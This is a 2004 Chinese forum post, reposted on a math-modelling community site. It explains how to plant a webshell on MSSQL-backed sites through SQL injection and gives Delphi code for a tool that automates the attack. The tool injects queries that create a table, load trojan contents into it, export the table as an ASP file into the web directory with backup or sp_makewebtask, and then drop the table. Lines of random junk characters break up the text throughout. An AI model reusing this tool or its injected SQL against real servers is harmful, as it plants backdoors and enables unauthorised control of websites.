数学建模社区-数学中国
标题:
SQL注入得到WEBSHELL
[打印本页]
作者:
韩冰
时间:
2004-11-21 00:13
标题:
SQL注入得到WEBSHELL
<
>一.通过SQL注入得到WEBSHELL的原理:
! V/ A- q- W' T: q) B% W+ K0 a
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
& \7 z/ k) ]' Q1 P" s+ [0 i* L# V
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
7 Z1 c( D/ W" S5 B0 _& D
再来看看CZY的方法吧。
; a/ z$ q4 I% k# N8 _ ~- M
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
' \0 K1 Q& |$ E j- E; N* r" M
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
8 T* f `7 X- b% r% N1 Z( l
二.利用DELPHI去实现功能的前言
6 j, N7 ^1 R; q3 y' R1 Z
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
5 M$ J! x2 U: L; B" S& Z; ]
0 n# ]8 x! E3 @/ x) n
三.如何利用DELPHI得到WEBSHELL。
$ j$ Z. v; [& H+ i! p( b
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
* v/ e2 g; [4 a
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
* M2 U, i0 z, b0 y& Z% A
' d: u/ _9 q, h- s% V
( G7 I- f% J# K5 w/ o% k5 \
' ~/ I& I* J& [# F% D' v- }0 I
现在来写程序了。
8 k. X+ F. N- D) W( B' K2 d
我们首先定义一个RECORD。
r7 C8 j; y+ ~( A7 h
如下:
# o' z) [9 q, B8 f8 I$ ?- Q% d
Type
' `% A8 ?7 Z% m4 W4 ]1 ~% S
SetOption = Record
4 Q; P# K- w7 v: I2 o
TableName : String; //用来保存要创建的表名.
7 c" n0 n. |) O
FieldName : String; //用来保存要创建的字段名.
* R6 q# f% M9 Q* @- V
FiledType : String; //用来保存创建的字段名类型.
- V" F+ X7 t) K4 J' u( b
End;
3 ^( v* m! J* T: C# w
FiledType字段类型的值是以下类型的一种:
/ ]+ @& i8 p/ ]' A
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
2 C: ^3 k' q+ O6 ^
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
# U3 J" X2 L6 U
再定义一个全局变量:
2 B2 y- z g: e
Var
! Y, y& ^- c, B/ U1 x# d9 J1 |
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
# D# ?2 \, |! [' c! B! ^3 O
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
* E% x% Y: {2 y9 d2 G) A" t" V
代码如下:
7 E! V, I( H0 i( [4 K3 C& [# u* _
procedure TMainForm.FormCreate(Sender: TObject);
: U' Q) v4 C# F& J" ]
begin
! \1 U ~( [! K3 Z
sOption.TableName :='cyfd'
7 [9 h2 {8 [# _) D. K" @
sOption.FieldName :='gmemo'
* @* C# @# v: F, S" Z) }: F! f( d
sOption.FiledType :='text'
0 H0 u; `: y" O7 G% W
end;
0 P" p+ ~3 H+ f! m+ M
现在我们添加开始执行命令的代码。
3 G# q4 \8 K" d# _, Q* H3 Y
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
% |) e* N# B+ P1 l- P6 I2 N4 n
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
# I; ?& X) M$ }" L) P
在程序开始执行前,我们得先检查一下用户的输入
i" n7 m2 ~ J" S* r! o
定义一个Checkinput函数.
, [+ W# A" X/ ^, L( v- m7 h
如下:
0 |. G7 f, ]$ s7 k/ @$ F( }
Function CheckInput : Boolean;
/ A# Y1 ~* V- h; }
Begin
. k8 a" b2 N6 K* d. W
Result := False;
& P2 Q9 Q# _4 y$ c* x0 P* }
if Trim(urlet.Text) = '' then
$ A4 K3 V$ e3 |" m7 h. W
Begin
, [5 j* [1 c9 P3 {, w
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
+ T) c: _7 ?/ o+ [
Exit;
+ g8 m: W3 d+ e
End;
4 ?0 b4 X4 i/ i& E3 k
if Trim(ShellPathET.Text) = '' then
' l; [/ j- h+ w& d
Begin
/ F% Y d4 |4 ?0 G
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
: [) }+ @8 W& J6 _" L: |: ^; I' n
Exit;
; E" J. b. l4 }7 |
End;
: `8 [1 q5 L3 I! A" y0 p0 c
IF DefBDoor.Checked then
9 F* v0 G4 { ?+ x* M
Begin
( C, s! M. \% [$ L' D3 n
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
! A2 C$ j4 ?* X( H1 f2 o7 N- L
Begin
/ O6 b! {; I! p% H' g
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
. l/ V, E# l8 x7 G
Exit;
5 v$ ~ M7 V9 l: D2 \4 m5 _
End;
u. ?( I4 H1 X' p! J& X" R
End
2 }' [+ }9 h1 Z. Y. N
Else
% Z& V0 k8 |7 [2 c: ~% d r
if Not FileExists(CustomBdoorET.Text) then
# d7 l7 i' g! G3 y
Begin
" `" |$ z' z# s; s1 \ b+ r
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
0 u" o' D6 F! ^; e+ N
Exit;
5 i9 W* c. q, H" K
End;
9 l- g7 H- z+ P
Result := True;
* {; N# e, q# L5 o
End;
: J1 Q C3 r1 X+ e% A, D1 t! B
在最开始加入:
' R0 G0 V1 k+ R: Y r# c o
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
% A5 H9 J3 R: k( T+ l; |
好了,如果用户输入没什么错,我们就来下面的代码。
l& T% a- _# \2 [4 n' _
首先我们把IsStop设为假。创建BdoorList。
$ Z& ]( x: X t5 |7 }; C
BDoorList := TstringList.Create;
& `2 v& `2 {# F' m
再加木马内容到BDoorlist.
* _# u y0 z* V6 {5 V( n- U6 w) ~- ^
BDoorList.LoadFromFile(CustomBdoorET.text);
6 P" X( I/ h" U j$ {5 O9 @# H
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
: {6 f2 K' h) v& r
代码如下:
3 A9 y* T. X; v7 X; {
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
7 U7 T1 z) H9 P s) j6 o
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
! B( s; z, t% x4 J8 X
接下来.我们就提交建表的功能了.
! Y# y+ W+ d: w0 ~6 o, U7 }
Memo.Lines.Add('建表...');
/ C/ J7 x" t$ S
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
! m+ z3 y* m) r* K
这样我们就创建了一个表。然后.我们向表中加记录:
4 I( ^" ?* }8 a
代码如下:
( s1 b+ u% s3 U9 o9 M
Memo.Lines.Add('加数据...');
5 P- X0 G: W" |
Memo.Lines.Add('');
# S) R4 ^5 e" a2 E& m. r
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
3 _2 j" u. ?( M
Begin
5 w1 b8 U: D9 D' j+ i8 m( f
IF IsStop then //这里如果点了停止按纽程序将终止任务.
) Y, `+ g- ?4 x9 \" h/ w' E/ o
Begin
; G- z. S) m2 o: c' ~
BDoorList.Free;
* o* V6 n+ R" z3 f e
Exit;
7 s% h. A8 }2 R4 k" O9 c$ R' ^/ Z& a
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
( x# |/ p7 Q j
Memo.Lines.Add('Add Line '+Inttostr(i+1));
. L/ b5 n) d2 x& d/ D/ n" o# m
End;
' z. K5 `& H# F: `1 o
现在就是导出数据生成木马了.
: ]: h. [5 b$ D) v f
Memo.Lines.Add('导出数据...');
! ^' J r2 d% T
Memo.Lines.Add('');
5 m* i/ }; D% b% U9 O" h
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
' A+ Q% w2 E, x! J: O
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
' h5 F P4 @7 i0 u" r
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
5 b: r- G/ ?7 m3 R5 [' M' j
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
- a, v* F. z: r
这样我们的任务就完成了。下面来释放变量.
5 h/ P: W. Q+ [- W9 v
BDoorList.Free;
* H5 e3 x4 C$ p, E- S1 I& a' [ Z
再来向停止按纽中添加点击事件:
$ A ?6 d( n6 S
一行代码就行了:IsStop := True;
' R! ~; P) \, g0 V+ k8 ?. m; H4 Z3 f
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
7 L% N4 |+ k2 c
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
- f( t8 Z5 l& R' m5 [. p2 v
第一个名称为:TableNameET //保用户输入的存临时表
3 {) ] y, E" k+ C
第二个名称为:FieldNameET //用来保存用户输入的字段名.
9 G( f* h* J9 r3 e
再添加一个Combobox //用来保存用户所选的字段类型值.
/ ^& `6 v8 C3 j
名称:FieldTypeCombox
; D: L+ Y W" r4 ~" T- r
OK.界面如下:
% |6 f8 G& o* N! T
{1 b. W& E, ]( s$ v& E) `
代码如下:
: o& E2 y7 B! O' K. w* G' }
定义一个过程,主表单好调用这个设置。
4 v0 C. M+ N0 }& }3 h
Procedure ShowSet;
6 B+ v% b7 X. N) q: L+ _
Begin
! O9 ]. `$ P7 Y( J
Application.CreateForm(TSetForm,SetForm);
0 f8 {9 [( p" R" [$ P
With SetForm do
5 E; f: ^ H9 I7 T ~. l8 v% H
Begin
1 ^9 l* T6 I) h$ D: a9 Z
TableNameET.Text := sOption.TableName;
8 q5 l3 b) V: g2 O$ w d3 @4 b8 j
FieldNameET.Text := sOption.FieldName;
" \/ h+ y* f, M% ~, P
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
4 A- }8 H4 o I5 _3 g
End;
8 A, o, c o7 O
SetForm.ShowModal;
0 P# _9 K4 F5 F- U9 O+ b( L
SetForm.Free;
. Y$ Q5 Q9 m/ Y3 W9 o; e
End;
) v1 v5 b7 F2 r0 i: L0 C |# u
在主表单中设置的点击事件中添加上showset过程就行了。
5 d8 b; b' j5 Y( }# U
下面就是点击确定的代码了。
- S( K2 L! x0 `: k- ]* J
IF CheckInput then
6 ]8 ]1 y" s( V/ W
Begin
# R- r$ z! I4 r- S3 u& i8 _
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
4 g- o9 M( Q# k; ~: ~# o! S5 \
sOption.FieldName := Trim(FieldNameET.Text);
: B0 W- X X+ w6 l" |
sOption.FiledType := FieldTypeCombox.Text;
5 C8 P A+ M1 P
Close;
5 t* c- E- H. r8 u1 v* w9 M7 y
End;
# y' K0 a* s% P
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
! g ]: P" w! q3 B1 X C
代码如下:
! q" ~) b; R R5 ]! l
Function CheckInput : Boolean;
, O* ~* T. o9 k
Begin
: T5 Q, g' W5 W7 C# r
Result := False;
% e$ {& M/ A- F2 a2 I
IF Trim(TableNameET.Text)='' then
% \8 K% [# Q( M2 u# S
Begin
- L2 _% l; p- }+ c
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
5 ^+ _5 c2 N0 p0 P
Exit;
6 l1 h8 b0 r: W% f6 S3 N
End;
; G' y! l: B' F6 e( y+ E
IF Trim(FieldNameET.Text)='' then
% X' i& u0 {, b0 W1 {: R* W
Begin
( o. m; n1 t( P3 z& \/ n
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
# b9 Y0 o& s% R# Z) _1 g
Exit;
" N `' {# P* q* j- ]! `0 }
End;
& |4 n1 [9 F2 J9 @
Result := True;
+ R9 H: g9 p' L, B. O
End;
' N% u0 L. H, C g; h2 o& W( T
到这里程序就完了。</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5